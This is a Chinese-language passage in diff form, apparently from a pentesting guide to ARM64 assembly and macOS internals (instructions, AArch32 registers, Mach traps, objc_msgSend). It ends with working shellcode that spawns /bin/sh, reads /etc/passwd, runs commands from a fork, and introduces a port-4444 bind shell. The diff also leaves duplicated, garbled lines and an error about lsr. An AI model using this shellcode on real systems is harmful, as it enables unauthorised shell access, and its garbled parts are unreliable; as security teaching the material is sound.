* `add x5, x5, #1, lsl #12` — 这等于 4096(1 左移 12 次)-> 1 0000 0000 0000 0000。
|
||||
* **`adds`** 这执行一个 `add` 并更新标志。
|
||||
* **`sub`**:**减去**两个寄存器的值并将结果存储在一个寄存器中。
|
||||
* 检查 **`add`** **语法**。
|
||||
* 示例:`sub x0, x1, x2` — 这将从 `x1` 中减去 `x2` 的值并将结果存储在 `x0` 中。
|
||||
* **`subs`** 这类似于减法,但更新标志。
|
||||
* **`mul`**:**乘以**两个寄存器的值并将结果存储在一个寄存器中。
|
||||
* 示例:`mul x0, x1, x2` — 这将 `x1` 和 `x2` 中的值相乘并将结果存储在 `x0` 中。
|
||||
* **`div`**:**将**一个寄存器的值除以另一个并将结果存储在一个寄存器中。
|
||||
* 示例:`div x0, x1, x2` — 这将 `x1` 的值除以 `x2` 并将结果存储在 `x0` 中。
|
||||
* **`lsl`**、**`lsr`**、**`asr`**、**`ror`, `rrx`**:
|
||||
* **逻辑左移**:从末尾添加 0,向前移动其他位(乘以 n 次 2)。
|
||||
* **逻辑右移**:在开头添加 1,向后移动其他位(无符号除以 n 次 2)。
|
||||
* **算术右移**:类似于 **`lsr`**,但如果最高有效位为 1,则添加 1(有符号除以 n 次 2)。
|
||||
* **右旋转**:类似于 **`lsr`**,但从右侧移除的位附加到左侧。
|
||||
* **带扩展的右旋转**:类似于 **`ror`**,但将进位标志作为“最高有效位”。因此,进位标志移动到位 31,移除的位移动到进位标志。
|
||||
* **`bfm`**:**位域移动**,这些操作 **从一个值复制位 `0...n`** 并将其放置在 **`m..m+n`** 的位置。**`#s`** 指定 **最左边的位** 位置,**`#r`** 指定 **右旋转量**。
|
||||
* 位域移动:`BFM Xd, Xn, #r`
|
||||
* 有符号位域移动:`SBFM Xd, Xn, #r, #s`
|
||||
* 无符号位域移动:`UBFM Xd, Xn, #r, #s`
|
||||
* **位域提取和插入**:从一个寄存器复制位域并将其复制到另一个寄存器。
|
||||
* **`BFI X1, X2, #3, #4`** 从 X1 的第 3 位插入 X2 的 4 位。
|
||||
* **`BFXIL X1, X2, #3, #4`** 从 X2 的第 3 位提取 4 位并复制到 X1。
|
||||
* **`SBFIZ X1, X2, #3, #4`** 从 X2 中提取 4 位并插入到 X1,从位位置 3 开始,右侧位清零。
|
||||
* **`SBFX X1, X2, #3, #4`** 从 X2 的第 3 位提取 4 位,进行符号扩展,并将结果放入 X1。
|
||||
* **`UBFIZ X1, X2, #3, #4`** 从 X2 中提取 4 位并插入到 X1,从位位置 3 开始,右侧位清零。
|
||||
* **`UBFX X1, X2, #3, #4`** 从 X2 的第 3 位提取 4 位并将零扩展的结果放入 X1。
|
||||
* **符号扩展到 X**:扩展一个值的符号(或在无符号版本中仅添加 0),以便能够与其执行操作:
|
||||
* **`SXTB X1, W2`** 将 W2 的字节符号扩展到 **X1**(`W2` 是 `X2` 的一半),以填充 64 位。
|
||||
* **`SXTH X1, W2`** 将 W2 的 16 位数的符号扩展到 **X1** 以填充 64 位。
|
||||
* **`SXTW X1, W2`** 将 W2 的字节符号扩展到 **X1** 以填充 64 位。
|
||||
* **`UXTB X1, W2`** 将 0(无符号)添加到 W2 的字节 **到 X1** 以填充 64 位。
|
||||
* **`extr`**:从指定的 **连接的寄存器对** 中提取位。
|
||||
* 示例:`EXTR W3, W2, W1, #3` 这将 **连接 W1+W2** 并获取 **从 W2 的第 3 位到 W1 的第 3 位** 并将其存储在 W3 中。
|
||||
* **`cmp`**:**比较**两个寄存器并设置条件标志。它是 **`subs`** 的 **别名**,将目标寄存器设置为零寄存器。用于知道 `m == n`。
|
||||
* 它支持 **与 `subs` 相同的语法**。
|
||||
* 示例:`cmp x0, x1` — 这将比较 `x0` 和 `x1` 中的值,并相应地设置条件标志。
|
||||
* **`cmn`**:**比较负**操作数。在这种情况下,它是 **`adds`** 的 **别名**,并支持相同的语法。用于知道 `m == -n`。
|
||||
* **`ccmp`**:条件比较,它是仅在先前比较为真时执行的比较,并将特定设置 nzcv 位。
|
||||
* `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> 如果 x1 != x2 且 x3 < x4,则跳转到 func。
|
||||
* 这是因为 **`ccmp`** 仅在 **先前的 `cmp` 为 `NE`** 时执行,如果不是,则位 `nzcv` 将设置为 0(这不会满足 `blt` 比较)。
|
||||
* 这也可以用作 `ccmn`(相同但为负,如 `cmp` 与 `cmn`)。
|
||||
* **`tst`**:检查比较的值是否都为 1(它的工作方式类似于不将结果存储在任何地方的 ANDS)。用于检查寄存器与值,并检查寄存器中指示的任何位是否为 1。
|
||||
* 示例:`tst X1, #7` 检查 X1 的最后 3 位是否有 1。
|
||||
* **`teq`**:XOR 操作,丢弃结果。
|
||||
* **`b`**:无条件分支。
|
||||
* 示例:`b myFunction`。
|
||||
* 注意,这不会用返回地址填充链接寄存器(不适合需要返回的子例程调用)。
|
||||
* **`bl`**:**带链接的分支**,用于 **调用** **子例程**。将 **返回地址存储在 `x30`** 中。
|
||||
* 示例:`bl myFunction` — 这调用函数 `myFunction` 并将返回地址存储在 `x30` 中。
|
||||
* 注意,这不会用返回地址填充链接寄存器(不适合需要返回的子例程调用)。
|
||||
* **`blr`**:**带链接的分支到寄存器**,用于 **调用** **子例程**,目标在 **寄存器** 中 **指定**。将返回地址存储在 `x30` 中。
|
||||
* 示例:`blr x1` — 这调用地址在 `x1` 中的函数,并将返回地址存储在 `x30` 中。
|
||||
* **`ret`**:**从子例程返回**,通常使用 **`x30`** 中的地址。
|
||||
* 示例:`ret` — 这使用 `x30` 中的返回地址从当前子例程返回。
|
||||
* **`b.<cond>`**:条件分支。
|
||||
* **`b.eq`**:**如果相等则分支**,基于先前的 `cmp` 指令。
|
||||
* 示例:`b.eq label` — 如果先前的 `cmp` 指令发现两个值相等,则跳转到 `label`。
|
||||
* **`b.ne`**:**如果不相等则分支**。此指令检查条件标志(由先前的比较指令设置),如果比较的值不相等,则分支到标签或地址。
|
||||
* 示例:在 `cmp x0, x1` 指令之后,`b.ne label` — 如果 `x0` 和 `x1` 中的值不相等,则跳转到 `label`。
|
||||
* **`cbz`**:**比较并在零时分支**。此指令将寄存器与零进行比较,如果相等,则分支到标签或地址。
|
||||
* 示例:`cbz x0, label` — 如果 `x0` 中的值为零,则跳转到 `label`。
|
||||
* **`cbnz`**:**比较并在非零时分支**。此指令将寄存器与零进行比较,如果不相等,则分支到标签或地址。
|
||||
* 示例:`cbnz x0, label` — 如果 `x0` 中的值非零,则跳转到 `label`。
|
||||
* **`tbnz`**:测试位并在非零时分支。
|
||||
* 示例:`tbnz x0, #8, label`。
|
||||
* **`tbz`**:测试位并在零时分支。
|
||||
* 示例:`tbz x0, #8, label`。
|
||||
* **条件选择操作**:这些操作的行为取决于条件位。
|
||||
* `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 如果为真,X0 = X1,如果为假,X0 = X2。
|
||||
* `csinc Xd, Xn, Xm, cond` -> 如果为真,Xd = Xn,如果为假,Xd = Xm + 1。
|
||||
* `cinc Xd, Xn, cond` -> 如果为真,Xd = Xn + 1,如果为假,Xd = Xn。
|
||||
* `csinv Xd, Xn, Xm, cond` -> 如果为真,Xd = Xn,如果为假,Xd = NOT(Xm)。
|
||||
* `cinv Xd, Xn, cond` -> 如果为真,Xd = NOT(Xn),如果为假,Xd = Xn。
|
||||
* `csneg Xd, Xn, Xm, cond` -> 如果为真,Xd = Xn,如果为假,Xd = - Xm。
|
||||
* `cneg Xd, Xn, cond` -> 如果为真,Xd = - Xn,如果为假,Xd = Xn。
|
||||
* `cset Xd, Xn, Xm, cond` -> 如果为真,Xd = 1,如果为假,Xd = 0。
|
||||
* `csetm Xd, Xn, Xm, cond` -> 如果为真,Xd = \<all 1>,如果为假,Xd = 0。
|
||||
* **`adrp`**:计算 **符号的页地址** 并将其存储在寄存器中。
|
||||
* 示例:`adrp x0, symbol` — 这计算 `symbol` 的页地址并将其存储在 `x0` 中。
|
||||
* **`ldrsw`**:**加载**一个有符号 **32 位** 值从内存并 **符号扩展到 64** 位。
|
||||
* 示例:`ldrsw x0, [x1]` — 这从 `x1` 指向的内存位置加载一个有符号 32 位值,符号扩展到 64 位,并将其存储在 `x0` 中。
|
||||
* **`stur`**:**将寄存器值存储到内存位置**,使用来自另一个寄存器的偏移。
|
||||
* 示例:`stur x0, [x1, #4]` — 这将值存储在 `x0` 中到比当前在 `x1` 中的地址大 4 字节的内存地址。
|
||||
* **`svc`** : 进行 **系统调用**。它代表“监督调用”。当处理器执行此指令时,它 **从用户模式切换到内核模式** 并跳转到内存中 **内核的系统调用处理** 代码所在的特定位置。
|
||||
* 示例:
|
||||
|
||||
```armasm
|
||||
mov x8, 93 ; 将退出的系统调用号(93)加载到寄存器x8中。
|
||||
mov x0, 0 ; 将退出状态码(0)加载到寄存器x0中。
|
||||
mov x8, 93 ; 将退出的系统调用号(93)加载到寄存器 x8 中。
|
||||
mov x0, 0 ; 将退出状态代码(0)加载到寄存器 x0 中。
|
||||
svc 0 ; 进行系统调用。
|
||||
```
|
||||
|
||||
### **函数序言**
|
||||
|
||||
1. **将链接寄存器和帧指针保存到堆栈中**:
|
||||
1. **将链接寄存器和帧指针保存到堆栈**:
|
||||
```armasm
|
||||
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
2. **设置新的帧指针**:`mov x29, sp`(为当前函数设置新的帧指针)
|
||||
3. **为局部变量在栈上分配空间**(如果需要):`sub sp, sp, <size>`(其中 `<size>` 是所需字节数)
|
||||
2. **设置新的帧指针**: `mov x29, sp` (为当前函数设置新的帧指针)
|
||||
3. **在栈上为局部变量分配空间(如果需要)**: `sub sp, sp, <size>` (其中 `<size>` 是所需的字节数)
|
||||
|
||||
### **函数尾声**
|
||||
|
||||
1. **释放局部变量(如果有分配的)**:`add sp, sp, <size>`
|
||||
2. **恢复链接寄存器和帧指针**:
|
||||
1. **释放局部变量(如果有分配的话)**: `add sp, sp, <size>`
|
||||
2. **恢复链接寄存器和帧指针**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```armasm
|
||||
|
@ -258,16 +259,16 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
3. **返回**: `ret`(使用链接寄存器中的地址将控制返回给调用者)
|
||||
3. **返回**: `ret`(使用链接寄存器中的地址将控制权返回给调用者)
|
||||
|
||||
## AARCH32 执行状态
|
||||
|
||||
Armv8-A 支持执行 32 位程序。**AArch32** 可以在 **两种指令集**之一中运行:**`A32`** 和 **`T32`**,并可以通过 **`interworking`** 在它们之间切换。\
|
||||
**特权**的 64 位程序可以通过执行例外级别转移到较低特权的 32 位程序来调度 **执行 32 位** 程序。\
|
||||
请注意,从 64 位到 32 位的过渡发生在较低的例外级别(例如,EL1 中的 64 位程序触发 EL0 中的程序)。当 `AArch32` 进程线程准备好执行时,通过将 **`SPSR_ELx`** 特殊寄存器的 **第 4 位设置为 1** 来完成这一过渡,而 `SPSR_ELx` 的其余部分存储了 **`AArch32`** 程序的 CPSR。然后,特权进程调用 **`ERET`** 指令,使处理器转换到 **`AArch32`** 进入 A32 或 T32,具体取决于 CPSR\*\*。\*\*
|
||||
Armv8-A 支持执行 32 位程序。**AArch32** 可以在 **两种指令集** 中运行:**`A32`** 和 **`T32`**,并可以通过 **`互操作`** 在它们之间切换。\
|
||||
**特权** 64 位程序可以通过执行异常级别转移到较低特权的 32 位程序来调度 **32 位** 程序的执行。\
|
||||
请注意,从 64 位到 32 位的过渡发生在异常级别降低时(例如,EL1 中的 64 位程序触发 EL0 中的程序)。这是通过在 `AArch32` 进程线程准备执行时将 **`SPSR_ELx`** 特殊寄存器的 **第 4 位** 设置为 **1** 来完成的,其余的 `SPSR_ELx` 存储 **`AArch32`** 程序的 CPSR。然后,特权进程调用 **`ERET`** 指令,使处理器过渡到 **`AArch32`**,根据 CPSR 进入 A32 或 T32。\*\*
|
||||
|
||||
**`interworking`** 使用 CPSR 的 J 和 T 位。`J=0` 和 `T=0` 表示 **`A32`**,`J=0` 和 `T=1` 表示 **T32**。这基本上意味着将 **最低位设置为 1** 以指示指令集为 T32。\
|
||||
这是在 **interworking 分支指令** 中设置的,但也可以在将 PC 设置为目标寄存器时使用其他指令直接设置。示例:
|
||||
**`互操作`** 通过 CPSR 的 J 和 T 位发生。`J=0` 和 `T=0` 表示 **`A32`**,而 `J=0` 和 `T=1` 表示 **T32**。这基本上意味着将 **最低位设置为 1** 以指示指令集为 T32。\
|
||||
这在 **互操作分支指令** 中设置,但也可以在 PC 设置为目标寄存器时通过其他指令直接设置。示例:
|
||||
|
||||
另一个示例:
|
||||
```armasm
|
||||
|
@ -280,50 +281,50 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
|
|||
mov r0, #0
|
||||
mov r0, #8
|
||||
```
|
||||
### 寄存器
|
||||
### Registers
|
||||
|
||||
有16个32位寄存器(r0-r15)。**从r0到r14**它们可以用于**任何操作**,但其中一些通常被保留:
|
||||
有16个32位寄存器(r0-r15)。**从r0到r14**可以用于**任何操作**,但是其中一些通常是保留的:
|
||||
|
||||
- **`r15`**:程序计数器(始终)。包含下一条指令的地址。在A32中为当前 + 8,在T32中为当前 + 4。
|
||||
- **`r11`**:帧指针
|
||||
- **`r12`**:函数内调用寄存器
|
||||
- **`r13`**:堆栈指针
|
||||
- **`r14`**:链接寄存器
|
||||
* **`r15`**:程序计数器(始终)。包含下一条指令的地址。在A32中为当前 + 8,在T32中为当前 + 4。
|
||||
* **`r11`**:帧指针
|
||||
* **`r12`**:过程内调用寄存器
|
||||
* **`r13`**:栈指针
|
||||
* **`r14`**:链接寄存器
|
||||
|
||||
此外,寄存器在**`banked registries`**中备份。这些地方存储寄存器的值,允许在异常处理和特权操作中执行**快速上下文切换**,避免每次都需要手动保存和恢复寄存器。\
|
||||
这是通过**将处理器状态从`CPSR`保存到处理器模式的`SPSR`**来实现的。在异常返回时,**从`SPSR`恢复`CPSR`**。
|
||||
此外,寄存器在**`banked registries`**中备份。这些是存储寄存器值的地方,允许在异常处理和特权操作中执行**快速上下文切换**,以避免每次手动保存和恢复寄存器的需要。\
|
||||
这是通过**将处理器状态从`CPSR`保存到处理器模式的`SPSR`**来完成的,异常返回时,**`CPSR`**从**`SPSR`**恢复。
|
||||
|
||||
### CPSR - 当前程序状态寄存器
|
||||
|
||||
在AArch32中,CPSR的工作方式类似于AArch64中的**`PSTATE`**,当发生异常时,也存储在**`SPSR_ELx`**中以便稍后恢复执行:
|
||||
在AArch32中,CPSR的工作方式类似于**`PSTATE`**在AArch64中,并且在发生异常时也存储在**`SPSR_ELx`**中,以便稍后恢复执行:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
这些字段分为一些组:
|
||||
字段分为几个组:
|
||||
|
||||
- 应用程序状态寄存器(APSR):算术标志,可从EL0访问
|
||||
- 执行状态寄存器:进程行为(由操作系统管理)。
|
||||
* 应用程序状态寄存器(APSR):算术标志,并可从EL0访问
|
||||
* 执行状态寄存器:进程行为(由操作系统管理)。
|
||||
|
||||
#### 应用程序状态寄存器(APSR)
|
||||
|
||||
- **`N`**,**`Z`**,**`C`**,**`V`**标志(就像在AArch64中一样)
|
||||
- **`Q`**标志:在执行专门的饱和算术指令时,当**整数饱和发生**时设置为1。一旦设置为**`1`**,它将保持该值,直到手动设置为0。此外,没有任何隐式检查其值的指令,必须通过手动读取来完成。
|
||||
- **`GE`**(大于或等于)标志:用于SIMD(单指令,多数据)操作,例如“并行加法”和“并行减法”。这些操作允许在单个指令中处理多个数据点。
|
||||
* **`N`**、**`Z`**、**`C`**、**`V`**标志(与AArch64相同)
|
||||
* **`Q`**标志:每当执行专用饱和算术指令时,**整数饱和**发生时设置为1。一旦设置为**`1`**,它将保持该值,直到手动设置为0。此外,没有任何指令隐式检查其值,必须手动读取。
|
||||
* **`GE`**(大于或等于)标志:用于SIMD(单指令,多数据)操作,例如“并行加法”和“并行减法”。这些操作允许在单个指令中处理多个数据点。
|
||||
|
||||
例如,**`UADD8`**指令**并行添加四对字节**(来自两个32位操作数),并将结果存储在32位寄存器中。然后,基于这些结果,它**在`APSR`中设置`GE`标志**。每个GE标志对应于一个字节加法,指示该字节对的加法是否**溢出**。
|
||||
例如,**`UADD8`**指令**并行添加四对字节**(来自两个32位操作数),并将结果存储在32位寄存器中。然后**根据这些结果设置`APSR`中的`GE`标志**。每个GE标志对应于一个字节加法,指示该字节对的加法是否**溢出**。
|
||||
|
||||
**`SEL`**指令使用这些GE标志执行条件操作。
|
||||
|
||||
#### 执行状态寄存器
|
||||
|
||||
- **`J`**和**`T`**位:**`J`**应为0,如果**`T`**为0,则使用A32指令集,如果为1,则使用T32指令集。
|
||||
- **IT块状态寄存器**(`ITSTATE`):这些是位10-15和25-26。它们存储**`IT`**前缀组内指令的条件。
|
||||
- **`E`**位:指示**字节序**。
|
||||
- **模式和异常掩码位**(0-4):它们确定当前的执行状态。第**5**个指示程序是否以32位(1)或64位(0)运行。其他4个表示**当前正在使用的异常模式**(当发生异常并正在处理时)。设置的数字表示在处理此异常时触发另一个异常的当前优先级。
|
||||
* **`J`**和**`T`**位:**`J`**应为0,如果**`T`**为0,则使用指令集A32,如果为1,则使用T32。
|
||||
* **IT块状态寄存器**(`ITSTATE`):这些是10-15和25-26的位。它们存储**`IT`**前缀组内指令的条件。
|
||||
* **`E`**位:指示**字节序**。
|
||||
* **模式和异常掩码位**(0-4):它们确定当前执行状态。**第5位**指示程序以32位(1)或64位(0)运行。其他4位表示**当前使用的异常模式**(当发生异常并正在处理时)。设置的数字**指示当前优先级**,以防在处理此异常时触发另一个异常。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- **`AIF`**:可以使用**`A`**,`I`,`F`位禁用某些异常。如果**`A`**为1,则会触发**异步中止**。**`I`**配置为响应外部硬件**中断请求**(IRQs)。F与**快速中断请求**(FIRs)有关。
|
||||
* **`AIF`**:某些异常可以使用位**`A`**、`I`、`F`禁用。如果**`A`**为1,则表示将触发**异步中止**。**`I`**配置为响应外部硬件**中断请求**(IRQs)。F与**快速中断请求**(FIRs)相关。
|
||||
|
||||
## macOS
|
||||
|
||||
|
@ -333,11 +334,9 @@ mov r0, #8
|
|||
|
||||
### Mach陷阱
|
||||
|
||||
在[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)中查看`mach_trap_table`,在[**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)中查看原型。Mach陷阱的最大数量是`MACH_TRAP_TABLE_COUNT` = 128。Mach陷阱将具有**x16 < 0**,因此您需要使用**负号**调用前一个列表中的数字:**`_kernelrpc_mach_vm_allocate_trap`**是**`-10`**。
|
||||
查看[**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html)中的`mach_trap_table`,以及在[**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h)中的原型。Mach陷阱的最大数量为`MACH_TRAP_TABLE_COUNT` = 128。Mach陷阱将具有**x16 < 0**,因此您需要用**负号**调用前一个列表中的数字:**`_kernelrpc_mach_vm_allocate_trap`**是**`-10`**。
|
||||
|
||||
您还可以在反汇编器中检查**`libsystem_kernel.dylib`**,以找出如何调用这些(以及BSD)系统调用:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
您还可以在反汇编器中检查**`libsystem_kernel.dylib`**以找到如何调用这些(和BSD)系统调用:
|
||||
```bash
|
||||
# macOS
|
||||
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
|
||||
|
@ -347,31 +346,33 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
注意,**Ida** 和 **Ghidra** 也可以通过传递缓存来反编译 **特定的 dylibs**。
|
||||
|
||||
{% hint style="success" %}
|
||||
有时候检查来自`libsystem_kernel.dylib`的**反编译**代码比检查**源代码**更容易,因为几个系统调用(BSD和Mach)的代码是通过脚本生成的(请检查源代码中的注释),而在dylib中,您可以找到正在调用的内容。
|
||||
有时检查 **`libsystem_kernel.dylib`** 的 **反编译** 代码比检查 **源代码** 更容易,因为几个系统调用(BSD 和 Mach)的代码是通过脚本生成的(查看源代码中的注释),而在 dylib 中你可以找到被调用的内容。
|
||||
{% endhint %}
|
||||
|
||||
### machdep 调用
|
||||
|
||||
XNU支持另一种称为机器相关调用的调用类型。这些调用的数量取决于架构,调用或数量都不保证保持恒定。
|
||||
XNU 支持另一种称为机器依赖的调用。这些调用的数量取决于架构,且调用或数量都不保证保持不变。
|
||||
|
||||
### comm page
|
||||
### comm 页面
|
||||
|
||||
这是一个内核所有者内存页面,映射到每个用户进程的地址空间中。它旨在使从用户模式到内核空间的转换比使用内核服务的系统调用更快,因为这些服务被使用得如此频繁,以至于这种转换将非常低效。
|
||||
这是一个内核拥有的内存页面,映射到每个用户进程的地址空间中。它旨在使从用户模式到内核空间的过渡比使用系统调用更快,因为这些内核服务的使用频率很高,这样的过渡会非常低效。
|
||||
|
||||
例如,调用`gettimeofdate`直接从comm页面读取`timeval`的值。
|
||||
例如,调用 `gettimeofdate` 直接从 comm 页面读取 `timeval` 的值。
|
||||
|
||||
### objc\_msgSend
|
||||
|
||||
在Objective-C或Swift程序中经常会找到此函数的使用。此函数允许调用Objective-C对象的方法。
|
||||
在 Objective-C 或 Swift 程序中,找到这个函数是非常常见的。这个函数允许调用一个 Objective-C 对象的方法。
|
||||
|
||||
参数([更多信息请参阅文档](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||
参数([文档中更多信息](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||
|
||||
- x0:self -> 实例指针
|
||||
- x1:op -> 方法的选择器
|
||||
- x2... -> 调用方法的其余参数
|
||||
* x0: self -> 指向实例的指针
|
||||
* x1: op -> 方法的选择器
|
||||
* x2... -> 被调用方法的其余参数
|
||||
|
||||
因此,如果在调用此函数之前设置断点,您可以轻松地在lldb中找到调用的内容(在此示例中,对象调用`NSConcreteTask`中的对象,该对象将运行一个命令):
|
||||
因此,如果在调用此函数的分支之前设置断点,你可以很容易地在 lldb 中找到被调用的内容(在这个例子中,对象调用了一个来自 `NSConcreteTask` 的对象,该对象将运行一个命令):
|
||||
```bash
|
||||
# Right in the line were objc_msgSend will be called
|
||||
(lldb) po $x0
|
||||
|
@ -390,28 +391,28 @@ whoami
|
|||
)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
设置环境变量 **`NSObjCMessageLoggingEnabled=1`** 可以记录当该函数被调用时的日志,日志会保存在类似 `/tmp/msgSends-pid` 的文件中。
|
||||
设置环境变量 **`NSObjCMessageLoggingEnabled=1`** 可以记录此函数在文件 `/tmp/msgSends-pid` 中被调用的情况。
|
||||
|
||||
此外,设置 **`OBJC_HELP=1`** 并调用任何二进制文件,您可以查看其他环境变量,您可以使用这些环境变量来在发生某些 Objc-C 操作时记录日志。
|
||||
此外,设置 **`OBJC_HELP=1`** 并调用任何二进制文件,您可以看到其他环境变量,您可以使用这些变量来 **log** 某些 Objc-C 操作发生时的情况。
|
||||
{% endhint %}
|
||||
|
||||
当调用此函数时,需要找到指定实例的调用方法,为此进行不同的搜索:
|
||||
当调用此函数时,需要找到所指实例的调用方法,为此进行不同的搜索:
|
||||
|
||||
* 执行乐观的缓存查找:
|
||||
* 如果成功,则完成
|
||||
* 执行乐观缓存查找:
|
||||
* 如果成功,完成
|
||||
* 获取 runtimeLock(读取)
|
||||
* 如果(realize && !cls->realized),则实现类
|
||||
* 如果(initialize && !cls->initialized),则初始化类
|
||||
* 如果 (realize && !cls->realized) 实现类
|
||||
* 如果 (initialize && !cls->initialized) 初始化类
|
||||
* 尝试类自己的缓存:
|
||||
* 如果成功,则完成
|
||||
* 如果成功,完成
|
||||
* 尝试类方法列表:
|
||||
* 如果找到,则填充缓存并完成
|
||||
* 如果找到,填充缓存并完成
|
||||
* 尝试超类缓存:
|
||||
* 如果成功,则完成
|
||||
* 如果成功,完成
|
||||
* 尝试超类方法列表:
|
||||
* 如果找到,则填充缓存并完成
|
||||
* 如果(resolver),尝试方法解析器,并从类查找重复
|
||||
* 如果仍然在这里(= 所有其他方法均失败),尝试转发器
|
||||
* 如果找到,填充缓存并完成
|
||||
* 如果 (resolver) 尝试方法解析器,并从类查找重复
|
||||
* 如果仍然在这里(= 所有其他都失败了)尝试转发器
|
||||
|
||||
### Shellcodes
|
||||
|
||||
|
@ -423,14 +424,14 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
|||
# You could also use this
|
||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||
```
|
||||
要提取字节:
|
||||
提取字节:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
|
||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
echo -n '\\x'$c
|
||||
done
|
||||
```
|
||||
对于更新的 macOS:
|
||||
对于较新的 macOS:
|
||||
```bash
|
||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||
|
@ -439,7 +440,7 @@ done
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary>用于测试shellcode的C代码</summary>
|
||||
<summary>测试 shellcode 的 C 代码</summary>
|
||||
```c
|
||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||
// gcc loader.c -o loader
|
||||
|
@ -489,10 +490,10 @@ return 0;
|
|||
|
||||
#### Shell
|
||||
|
||||
取自[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)并进行解释。
|
||||
取自[**这里**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s)并进行了解释。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="使用 adr" %}
|
||||
{% tab title="with adr" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -509,7 +510,7 @@ sh_path: .asciz "/bin/sh"
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="使用堆栈" %}
|
||||
{% tab title="带栈" %}
|
||||
```armasm
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||
|
@ -540,7 +541,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="使用 adr 进行 Linux" %}
|
||||
{% tab title="使用 adr 的 Linux" %}
|
||||
```armasm
|
||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||
|
@ -556,9 +557,12 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
|||
|
||||
sh_path: .asciz "/bin/sh"
|
||||
```
|
||||
#### 使用 cat 命令读取
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数 (x1) 是一个参数数组 (在内存中意味着地址的堆栈)。
|
||||
#### 使用 cat 读取
|
||||
|
||||
目标是执行 `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`,因此第二个参数 (x1) 是一个参数数组(在内存中,这意味着一堆地址)。
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -584,7 +588,7 @@ cat_path: .asciz "/bin/cat"
|
|||
.align 2
|
||||
passwd_path: .asciz "/etc/passwd"
|
||||
```
|
||||
#### 通过从 fork 中使用 sh 调用命令,使主进程不被杀死
|
||||
#### 从一个分叉中使用 sh 调用命令,以便主进程不会被终止
|
||||
```armasm
|
||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||
.global _main ; Declare a global symbol _main
|
||||
|
@ -628,9 +632,9 @@ sh_c_option: .asciz "-c"
|
|||
.align 2
|
||||
touch_command: .asciz "touch /tmp/lalala"
|
||||
```
|
||||
#### 绑定 shell
|
||||
#### Bind shell
|
||||
|
||||
从 [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) 获取在**端口 4444**上的绑定 shell。
|
||||
